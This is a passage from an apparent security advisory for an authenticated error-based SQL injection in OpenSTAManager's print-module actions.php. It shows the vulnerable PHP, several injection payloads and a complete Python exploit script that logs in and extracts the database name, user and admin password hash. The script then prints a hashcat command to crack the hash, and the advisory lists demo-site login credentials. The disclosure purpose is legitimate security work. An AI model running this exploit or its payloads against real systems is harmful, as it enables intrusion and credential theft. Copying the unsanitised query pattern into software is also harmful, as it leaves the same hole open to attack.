+ "details": "## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase 'update':\n if (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));\n // ↑ Direct concatenation without prepare() sanitization\n }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n // Line 26: Direct concatenation - VULNERABLE\n $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf\n```\n\n**Result:**\n\n<img width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" />\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" />\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" />\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n def __init__(self, base_url, username, password, verbose=False):\n self.base_url = base_url.rstrip('/')\n self.username = username\n self.password = password\n self.verbose = verbose\n self.session = requests.Session()\n self.session.headers.update({\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'\n })\n\n def login(self):\n \"\"\"Authenticate with username and password\"\"\"\n login_url = urljoin(self.base_url, '/index.php')\n\n if self.verbose:\n print(f\"[DEBUG] Attempting login to {login_url}\")\n print(f\"[DEBUG] Username: {self.username}\")\n\n # First, get the login page to establish session\n resp = self.session.get(login_url)\n if self.verbose:\n print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n # Send login credentials with op=login parameter (required!)\n login_data = {\n 'username': self.username,\n 'password': self.password,\n 'op': 'login', # Required for OpenSTAManager\n }\n\n resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n if self.verbose:\n print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n # Check if login was successful\n if 'PHPSESSID' not in self.session.cookies:\n print(\"[-] Login failed: No session cookie received\")\n return False\n\n # Check if we're redirected to dashboard or still on login page\n if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():\n print(\"[-] Login failed: Still on login page\")\n if self.verbose:\n print(f\"[DEBUG] Current URL: {resp.url}\")\n return False\n\n print(f\"[+] Successfully logged in as '{self.username}'\")\n print(f\"[+] Session: {self.session.cookies.get('PHPSESSID')}\")\n return True\n\n def inject(self, sql_query):\n \"\"\"Execute SQL injection payload\"\"\"\n # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n target_url = urljoin(self.base_url, '/modules/stampe/actions.php')\n\n if self.verbose:\n print(f\"[DEBUG] Target: {target_url}\")\n print(f\"[DEBUG] Payload: {payload}\")\n\n response = self.session.post(\n target_url,\n data={\n \"op\": \"update\",\n \"id_record\": \"1\",\n \"predefined\": \"1\",\n \"module\": payload,\n \"title\": \"Test\",\n \"filename\": \"test.pdf\"\n }\n )\n\n if self.verbose:\n print(f\"[DEBUG] Response status: {response.status_code}\")\n print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n # Unescape HTML entities first\n response_text = unescape(response.text)\n\n # Pattern 1: XPATH syntax error with HTML entities or quotes\n # Matches: XPATH syntax error: '~data~' or '~data~'\n xpath_match = re.search(r\"XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE)\n if xpath_match:\n result = xpath_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n return result\n\n # Pattern 2: Look in HTML comments (demo puts errors in comments)\n # <!--...XPATH syntax error: '~data~'...-->\n comment_match = re.search(r\"<!--.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?.*?-->\", response_text, re.DOTALL | re.IGNORECASE)\n if comment_match:\n result = comment_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n return result\n\n # Pattern 3: <code> tags\n codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)\n for code in codes:\n clean = code.strip()\n if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:\n match = re.search(r\"~([^~]+)~\", clean)\n if match:\n result = match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from <code>: {result}\")\n return result\n\n # Pattern 4: PDOException error format (as shown in user's example)\n # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'\n pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n if pdo_match:\n result = pdo_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from PDOException: {result}\")\n return result\n\n # Pattern 5: Generic ~...~ markers (last resort)\n markers = re.findall(r'~([^~]{1,100})~', response_text)\n if markers:\n if self.verbose:\n print(f\"[DEBUG] Found generic markers: {markers}\")\n # Filter out HTML/CSS junk\n for marker in markers:\n if marker and len(marker) > 2:\n # Skip common HTML patterns\n if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):\n if self.verbose:\n print(f\"[DEBUG] Using marker: {marker}\")\n return marker\n\n if self.verbose:\n print(\"[DEBUG] No data extracted from response\")\n # Save response for debugging\n with open('/tmp/stampe_response_debug.html', 'w') as f:\n f.write(response.text)\n print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n return None\n\n def dump_info(self):\n \"\"\"Dump database information\"\"\"\n queries = [\n (\"Database Version\", \"VERSION()\"),\n (\"Database Name\", \"DATABASE()\"),\n (\"Current User\", \"USER()\"),\n (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n ]\n\n print(\"=\"*70)\n print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n print(\"=\"*70)\n print()\n\n results = {}\n for desc, query in queries:\n print(f\"[*] Extracting: {desc}\")\n print(f\" Query: {query}\")\n result = self.inject(query)\n if result:\n print(f\" ✓ Result: {result}\")\n results[desc] = result\n else:\n print(f\" ✗ Failed to extract\")\n print()\n\n return results\n\ndef main():\n parser = argparse.ArgumentParser(\n description='OpenSTAManager Stampe Module SQL Injection Exploit',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog='''\nExamples:\n # Exploit demo.osmbusiness.it with tecnico user\n python3 %(prog)s -u tecnico -p tecnicotecnico\n\n # Exploit demo with admin credentials\n python3 %(prog)s -u admin -p admin123\n\n # Exploit custom installation with verbose output\n python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n '''\n )\n\n parser.add_argument('-u', '--username', required=True,\n help='Username for authentication')\n parser.add_argument('-p', '--password', required=True,\n help='Password for authentication')\n parser.add_argument('--url', default='https://demo.osmbusiness.it',\n help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')\n parser.add_argument('-v', '--verbose', action='store_true',\n help='Enable verbose output for debugging')\n\n args = parser.parse_args()\n\n print(\"╔\" + \"=\"*68 + \"╗\")\n print(\"║ SQL Injection Exploit - OpenSTAManager Stampe Module ║\")\n print(\"║ CVE-PENDING | Authenticated Error-Based SQLi ║\")\n print(\"╚\" + \"=\"*68 + \"╝\")\n print()\n print(f\"[*] Target: {args.url}\")\n print(f\"[*] Username: {args.username}\")\n print()\n\n exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n # Login first\n if not exploit.login():\n print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n print(\"[!] Please check:\")\n print(\" 1. Are the credentials correct?\")\n print(\" 2. Is the target URL accessible?\")\n print(\" 3. Is the user account active?\")\n sys.exit(1)\n\n print()\n\n # Extract data\n results = exploit.dump_info()\n\n # Summary\n print(\"=\"*70)\n print(\" EXTRACTION SUMMARY\")\n print(\"=\"*70)\n print()\n\n if results:\n for key, value in results.items():\n print(f\" {key:.<40} {value}\")\n\n # If we got admin password hash, combine it\n if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n print()\n print(\" \" + \"=\"*66)\n print(f\" Full Admin Password Hash: {full_hash}\")\n print(\" \" + \"=\"*66)\n print()\n print(\" [!] Crack with hashcat:\")\n print(f\" hashcat -m 3200 '{full_hash}' wordlist.txt\")\n else:\n print(\" ✗ No data extracted\")\n if not args.verbose:\n print(\"\\n [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n main()\n\n```\n\n### Attribution\nReported by Łukasz Rybak",
0 commit comments